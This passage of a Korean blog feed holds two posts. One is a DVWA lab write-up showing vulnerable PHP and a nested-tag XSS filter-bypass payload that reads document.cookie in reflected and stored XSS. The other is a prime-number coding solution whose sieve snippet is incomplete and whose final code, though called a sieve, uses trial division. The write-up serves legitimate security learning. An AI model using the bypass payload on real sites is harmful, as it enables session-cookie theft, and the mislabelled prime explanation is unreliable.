&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0lNRz/btrPVD00UXI/tMKfjtjC96kQmY5IOsKBzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0lNRz/btrPVD00UXI/tMKfjtjC96kQmY5IOsKBzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0lNRz/btrPVD00UXI/tMKfjtjC96kQmY5IOsKBzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0lNRz%2FbtrPVD00UXI%2FtMKfjtjC96kQmY5IOsKBzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;493&quot; height=&quot;137&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키값을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2. XSS(Reflected)&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dxrU7H/btrPPXmYvhj/lY6kK7IqKWy9cUHuHmA8Dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dxrU7H/btrPPXmYvhj/lY6kK7IqKWy9cUHuHmA8Dk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dxrU7H/btrPPXmYvhj/lY6kK7IqKWy9cUHuHmA8Dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdxrU7H%2FbtrPPXmYvhj%2FlY6kK7IqKWy9cUHuHmA8Dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;67&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 된 사용자의 쿠키를 훔쳐라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;low때와 차이점을 알아보자. 소스코드를 먼저 보면&lt;/p&gt;
&lt;pre id=&quot;code_1667052004027&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

header (&quot;X-XSS-Protection: 0&quot;);

// Is there any input?
if( array_key_exists( &quot;name&quot;, $_GET ) &amp;amp;&amp;amp; $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '&amp;lt;script&amp;gt;', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo &quot;&amp;lt;pre&amp;gt;Hello ${name}&amp;lt;/pre&amp;gt;&quot;;
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;를 ' ' (공백)으로 대체하는 것을 알 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;File Inclusion때 ../를 ....//로 우회했던 것처럼 진행해보겠다. 아래 코드를 넣고 Submit했다.&lt;/p&gt;
&lt;pre id=&quot;code_1667052120220&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;513&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRq4mg/btrPS1alc9Q/NhIzvc8KCqtY0SkktXDkRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRq4mg/btrPS1alc9Q/NhIzvc8KCqtY0SkktXDkRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRq4mg/btrPS1alc9Q/NhIzvc8KCqtY0SkktXDkRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRq4mg%2FbtrPS1alc9Q%2FNhIzvc8KCqtY0SkktXDkRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;513&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;513&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키값을 획득한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;3. XSS (Stored)&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;447&quot; data-origin-height=&quot;71&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi5ooP/btrPRAcYaw9/2AKEXpUaeOOmQT03gf0Zk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi5ooP/btrPRAcYaw9/2AKEXpUaeOOmQT03gf0Zk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi5ooP/btrPRAcYaw9/2AKEXpUaeOOmQT03gf0Zk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi5ooP%2FbtrPRAcYaw9%2F2AKEXpUaeOOmQT03gf0Zk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;447&quot; height=&quot;71&quot; data-origin-width=&quot;447&quot; data-origin-height=&quot;71&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 선택한 웹 페이지로부터 리다이렉팅을 해라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;low때와 차이점을 알아보기 위해서 low때 했던 방법을 그대로 해봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsdzZB/btrPTj9Qzff/lB230lPgGm0gME9u6zGHt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsdzZB/btrPTj9Qzff/lB230lPgGm0gME9u6zGHt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsdzZB/btrPTj9Qzff/lB230lPgGm0gME9u6zGHt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsdzZB%2FbtrPTj9Qzff%2FlB230lPgGm0gME9u6zGHt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;674&quot; height=&quot;198&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;396&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L0zeg/btrPQHX0BZ4/6Uai8TJDfcwNQtUHVQmCe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L0zeg/btrPQHX0BZ4/6Uai8TJDfcwNQtUHVQmCe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L0zeg/btrPQHX0BZ4/6Uai8TJDfcwNQtUHVQmCe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL0zeg%2FbtrPQHX0BZ4%2F6Uai8TJDfcwNQtUHVQmCe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;396&quot; height=&quot;134&quot; data-origin-width=&quot;396&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;script&amp;gt;와 &amp;lt;/script&amp;gt;가 필터링되어 공백으로 처리된 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 소스코드를 확인해보았다.&lt;/p&gt;
&lt;pre id=&quot;code_1667052771245&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;amp;&amp;amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;],  $message ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '&amp;lt;script&amp;gt;', '', $name );
    $name = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;amp;&amp;amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;],  $name ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;));

    // Update database
    $query  = &quot;INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );&quot;;
    $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;],  $query ) or die( '&amp;lt;pre&amp;gt;' . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '&amp;lt;/pre&amp;gt;' );

    //mysql_close();
}

?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;message부분에서 htmlspecialchars라는 처음보는 함수가 있어서 알아봤더니 문자열에서 특정한 특수 문자를 HTML엔티티로 변환하여 XSS공격을 방지하는 함수였다. 그래서 message부분에 &amp;lt;script&amp;gt;와 &amp;lt;/script&amp;gt;부분이 필터링 됨을 알았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 name에서는 &amp;lt;script&amp;gt;를 ' '으로 필터링 함을 알 수 있었다. 그렇다면 name부분에 &amp;lt;script&amp;gt;대신 &amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;를 넣으면 되겠다 생각이 들어 바로 실행해봤다.&lt;/p&gt;
&lt;pre id=&quot;code_1667053402501&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 name에 넣으려했는데 왜인지 글자수 제한이 없는데 &amp;lt;scr&amp;lt;scrip에서 더이상 써지지 않길래 버프슈트를 이용했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEVFYY/btrPQxgZwtn/LqdUXNRfCo8oOQJxmc3FQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEVFYY/btrPQxgZwtn/LqdUXNRfCo8oOQJxmc3FQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEVFYY/btrPQxgZwtn/LqdUXNRfCo8oOQJxmc3FQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEVFYY%2FbtrPQxgZwtn%2FLqdUXNRfCo8oOQJxmc3FQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;653&quot; height=&quot;120&quot; data-origin-width=&quot;653&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oTpgM/btrPUnRFllK/AE6LA6zygEkqNJpQtyjTi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oTpgM/btrPUnRFllK/AE6LA6zygEkqNJpQtyjTi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oTpgM/btrPUnRFllK/AE6LA6zygEkqNJpQtyjTi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoTpgM%2FbtrPUnRFllK%2FAE6LA6zygEkqNJpQtyjTi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;493&quot; height=&quot;132&quot; data-origin-width=&quot;493&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그결과 쿠키값을 획득할 수 있었다.&lt;/p&gt;</description>
      <category>Webhacking-Write-Up/DVWA</category>
      <category>DOM XSS</category>
      <category>DVWA</category>
      <category>Reflected XSS</category>
      <category>Stored XSS</category>
      <author>SlowTurtle_</author>
      <guid isPermaLink="true">https://godturtle.tistory.com/23</guid>
      <comments>https://godturtle.tistory.com/23#entry23comment</comments>
      <pubDate>Fri, 20 Jan 2023 18:02:07 +0900</pubDate>
    </item>
    <item>
      <title>[백준] 1929번 - 소수 구하기 파이썬 풀이</title>
      <link>https://godturtle.tistory.com/83</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 1.16279%;&quot; colspan=&quot;10&quot;&gt;문제 : &lt;a href=&quot;https://www.acmicpc.net/problem/1929&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.acmicpc.net/problem/1929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1929번 - 소수 구하기&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;575&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cONxN5/btrWPOhcIFC/xjjyg2DWXB5RaJF6oaVCLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cONxN5/btrWPOhcIFC/xjjyg2DWXB5RaJF6oaVCLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cONxN5/btrWPOhcIFC/xjjyg2DWXB5RaJF6oaVCLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcONxN5%2FbtrWPOhcIFC%2Fxjjyg2DWXB5RaJF6oaVCLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1156&quot; height=&quot;575&quot; data-origin-width=&quot;1156&quot; data-origin-height=&quot;575&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;  풀이&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소수를 구하는 문제를 구현하는 것은 어렵지 않으나 코딩테스트에서는 시간초과되기 싶다. 그래서 이번 문제는 에라토스테네스의 체를 먼저 접근해보자. 에라토스테네스의 체란 일정 범위 내에 수열에서 배수들을 제거해 소수만 걸러내는 체를 뜻한다. 예시 코드를 먼저 보자.&lt;/p&gt;
&lt;pre id=&quot;code_1674195899321&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;M, N = map(int,input().split())

for i in range(2, int(N**0.5)+1):
	if turtle[i] == True:
		for j in range(i*2, N+1, i):
			turtle[j] = False&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;백준문제에서 나온 예시값처럼 위 코드에서 입력값 M과 N에 각각 3, 16을 넣었다는 가정하에 진행하면&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i = 2 일 때, 4부터 2씩 증가하며 False한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 68px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;4&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;6&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;8&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;11&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;12&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;13&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;14&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;15&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;16&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i = 3 일 때, 6부터 3씩 증가하며 False한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 68px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;4&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;6&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;8&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;9&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;11&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;12&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;13&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;14&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;15&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;16&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i = 4 일 때, 8부터 4씩 증가하며 False한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 68px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;4&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;6&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;8&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;9&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;10&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;11&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;12&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;13&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;14&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;15&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;16&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;width: 197.75px; height: 17px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 표에서 볼 수 있듯이 False처리되지 않은 것은 3, 5, 7, 11, 13이다. 이 값만이 소수임을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt; 최종 코드&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1674196691476&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;M, N =map(int,input().split())

for i in range(M, N+1):
    if i == 1: # 1은 소수 아님
        continue
    for j in range(2, int(i**0.5)+1):
      if i % j == 0: # 약수가 존재하는지 확인
        break   # 약수 존재한다면 break로 멈춤
    else:
      print(i)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에라토스테네스의 체를 이용하여 푼 최종 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Don't stop&lt;/p&gt;</description>
